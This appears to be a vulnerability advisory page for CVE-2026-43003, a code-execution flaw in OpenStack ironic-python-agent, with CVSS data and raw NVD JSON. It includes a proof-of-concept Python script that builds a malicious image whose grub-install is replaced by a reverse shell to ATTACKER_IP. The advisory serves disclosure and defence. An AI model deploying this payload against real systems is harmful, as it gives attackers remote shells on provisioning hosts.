Security Vulnerability Report
中文
CVE-2026-43003 CVSS 8.0 HIGH

CVE-2026-43003

Published: 2026-05-01 09:16:17
Last Modified: 2026-05-04 18:28:28

Description

An issue was discovered in OpenStack ironic-python-agent 1.0.0 through 11.5.0. Ironic Python Agent (IPA) sometimes executes grub-install from within a chroot of the deployed partition image, leading to code execution in the case of a malicious image.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openstack:ironic_python_agent:*:*:*:*:*:*:*:* - VULNERABLE
OpenStack ironic-python-agent 1.0.0 - 11.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept: Malicious Image Generation for CVE-2026-43003 # This script demonstrates how to craft a malicious image component. # When IPA runs grub-install inside the chroot of this image, # the malicious payload will be executed. import os def build_malicious_image_structure(): # Path representing the root of the image to be deployed image_root = "./malicious_disk_image" # Ensure directory exists os.makedirs(f"{image_root}/usr/bin", exist_ok=True) # Create a malicious grub-install wrapper or replace a critical binary # In a real exploit, this might involve replacing shared libraries or hooks malicious_code = """#!/bin/bash # Malicious payload executed by IPA during grub-install # Example: Reverse shell or data exfiltration echo "[+] Exploiting CVE-2026-43003..." # Command execution logic here /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 """ # Write the malicious binary with open(f"{image_root}/usr/bin/grub-install", "w") as f: f.write(malicious_code) # Make it executable os.chmod(f"{image_root}/usr/bin/grub-install", 0o755) print(f"[+] Malicious image structure created at {image_root}") print("[+] Pack this directory into an image and deploy via OpenStack Ironic.") if __name__ == "__main__": build_malicious_image_structure()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43003", "sourceIdentifier": "[email protected]", "published": "2026-05-01T09:16:17.440", "lastModified": "2026-05-04T18:28:28.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in OpenStack ironic-python-agent 1.0.0 through 11.5.0. Ironic Python Agent (IPA) sometimes executes grub-install from within a chroot of the deployed partition image, leading to code execution in the case of a malicious image."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openstack:ironic_python_agent:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndIncluding": "11.5.0", "matchCriteriaId": "58179694-BF82-4D5A-AF1B-6DAF83DD2A42"}]}]}], "references": [{"url": "https://bugs.launchpad.net/ironic-python-agent/+bug/2148310", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/openstack/ironic-python-agent/blob/236b33abffe6688afc39c21e351cc3889b3db2dd/ironic_python_agent/efi_utils.py#L134-L139", "source": "[email protected]", "tags": ["Product"]}]}}